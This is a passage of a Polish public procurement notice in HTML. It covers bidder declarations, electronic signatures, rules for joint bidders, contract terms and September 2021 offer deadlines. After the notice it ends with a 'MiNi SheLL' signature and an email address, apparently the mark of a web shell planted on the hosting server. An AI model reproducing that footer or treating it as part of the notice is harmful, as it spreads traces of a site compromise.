do SWZ, w formie elektronicznej podpisanej kwalifikowanym podpisem elektronicznym lub w postaci elektronicznej opatrzonej podpisem zaufanym lub elektronicznym podpisem osobistym.<br/>2) Oświadczenie, o którym mowa w art. 125 ust. 1 uPzp, stanowiące Załącznik nr 3 do SWZ, w formie elektronicznej podpisanej kwalifikowanym podpisem elektronicznym lub w postaci elektronicznej opatrzonej podpisem zaufanym lub elektronicznym podpisem osobistym, zawierające w szczególności informacje:<br/>a) o tym, że Wykonawca spełnia warunki udziału w postępowaniu określone przez Zamawiającego w Rozdziale X SWZ,<br/>b) o tym, że Wykonawca nie podlega wykluczeniu z powodów wskazanych w Rozdziale XI SWZ,<br/>3) zobowiązanie podmiotu udostępniającego wykonawcy zasoby na potrzeby realizacji danego zamówienia lub inny podmiotowy środek dowodowy potwierdzający, że wykonawca realizując zamówienie, będzie dysponował niezbędnymi zasobami tych podmiotów, w przypadku wykonawcy, który wykazując spełnienie warunków udziału w postepowaniu,<br/>polega na zdolnościach lub sytuacji podmiotów udostępniających zasoby, o tym, których warunków dotyczą udostępniane przez inne podmioty zasoby, załącznik nr 5 do SWZ (jeżeli dotyczy). Zobowiązanie należy złożyć w formie elektronicznej podpisanej kwalifikowanym podpisem elektronicznym lub w postaci elektronicznej opatrzonej podpisem zaufanym lub<br/>elektronicznym podpisem osobistym przez osobę/osoby upoważnioną/e do<br/>reprezentowania podmiotu udostępniającego zasoby.<br/>4) oświadczenie podmiotu udostępniającego zasoby, potwierdzające brak podstaw wykluczenia tego podmiotu oraz odpowiednio spełnianie warunków udziału w postępowaniu, w zakresie, w jakim wykonawca powołuje się na jego zasoby - w przypadku polegania wykonawcy na zdolnościach lub sytuacji podmiotów udostępniających zasoby w celu wykazania spełniania warunków udziału w postępowaniu, wg wzoru stanowiącego Załącznik nr 5 do SWZ (jeżeli dotyczy). Oświadczenie należy złożyć w formie elektronicznej <br/>podpisanej kwalifikowanym podpisem elektronicznym lub w postaci elektronicznej opatrzonej podpisem zaufanym lub elektronicznym podpisem osobistym przez osobę/osoby upoważnioną/e do reprezentowania podmiotu udostępniającego zasoby.<br/>5) oświadczenie, z którego wynika, które usługi wykonają poszczególni wykonawcy – w przypadku wykonawców ubiegających się wspólnie o udzielenie zamówienia, zgodnie z art. 117 ust. 4 uPzp, w formie elektronicznej podpisanej kwalifikowanym podpisem elektronicznym lub w postaci elektronicznej opatrzonej podpisem zaufanym lub elektronicznym podpisem osobistym, stanowiące Załącznik nr 6 do SWZ.<br/>6) Pełnomocnictwo lub inny dokument potwierdzający umocowanie do reprezentowania Wykonawcy lub podmiotu udostępniającego zasoby chyba, że umocowanie do reprezentacji wynika z wpisu do Krajowego Rejestru Sądowego lub Centralnej Ewidencji i Informacji o Działalności Gospodarczej. Pełnomocnictwo musi być złożone w oryginale w formie elektronicznej podpisanej kwalifikowanym podpisem elektronicznym lub w postaci<br/>elektronicznej opatrzonej podpisem zaufanym lub elektronicznym podpisem osobistym przez osoby udzielające pełnomocnictw, albo elektronicznej kopii dokumentu poświadczonej za zgodność z oryginałem w formie elektronicznej podpisanej kwalifikowanym podpisem elektronicznym przez notariusza); <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> W odniesieniu do warunków dotyczących doświadczenia wykonawcy wspólnie ubiegający się o udzielenie zamówienia mogą polegać na zdolnościach tych z wykonawców, którzy wykonają usługi, do realizacji których te zdolności są wymagane. Jeżeli wykonawca powołuje się na doświadczenie w realizacji usług wykonywanych wspólnie z innymi wykonawcami, Wykaz usług, o którym mowa w Rozdziale XII ust. 5 pkt 1 SWZ dotyczy usług, w których wykonaniu<br/>wykonawca ten bezpośrednio uczestniczył, a w przypadkach świadczeń powtarzających się lub ciągłych, w których wykonywaniu bezpośrednio uczestniczył lub uczestniczy. W przypadku wykonawców wspólnie ubiegających się o zamówienie oświadczenie, o którym mowa w Rozdziale XII. ust. 1 pkt 3 SWZ składają wszyscy wykonawcy natomiast dokumenty potwierdzające spełnianie warunków składa wykonawca, który wykazuje spełnienie odpowiedniego warunku udziału w postępowaniu. W przypadku wspólnego ubiegania się o<br/>zamówienie przez wykonawców, oświadczenie, o którym mowa w Rozdziale XV. ust. 3 pkt 2) SWZ składa każdy z wykonawców. Oświadczenia te potwierdzają brak podstaw wykluczenia oraz spełnianie warunków udziału w postępowaniu w zakresie, w jakim każdy z wykonawców wykazuje spełnianie warunków udziału w postępowaniu. Zgodnie z art.117 ust. 4 ustawy Pzp, w przypadku, o którym mowa powyżej wykonawcy wspólnie ubiegający się o udzielenie zamówienia<br/>dołączają do oferty oświadczenie, z którego wynika, które dostawy lub usługi wykonają poszczególni wykonawcy. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Zamawiający przewidział zmiany umowy w § 13 wzoru umowy, stanowiącego załącznik nr 4 do SWZ <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.6.) Zamawiający przewiduje następujące wymagania związane z realizacją zamówienia: </h3> <p class="mb-0">obejmujące, zgodnie z art. 96 ustawy: - aspekty społeczne</p> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2021-09-10 12:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">https://platformazakupowa.pl/pn/pfron</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2021-09-10 12:15</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2021-10-09</span></h3>

Creat By MiNi SheLL
Email: jattceo@gmail.com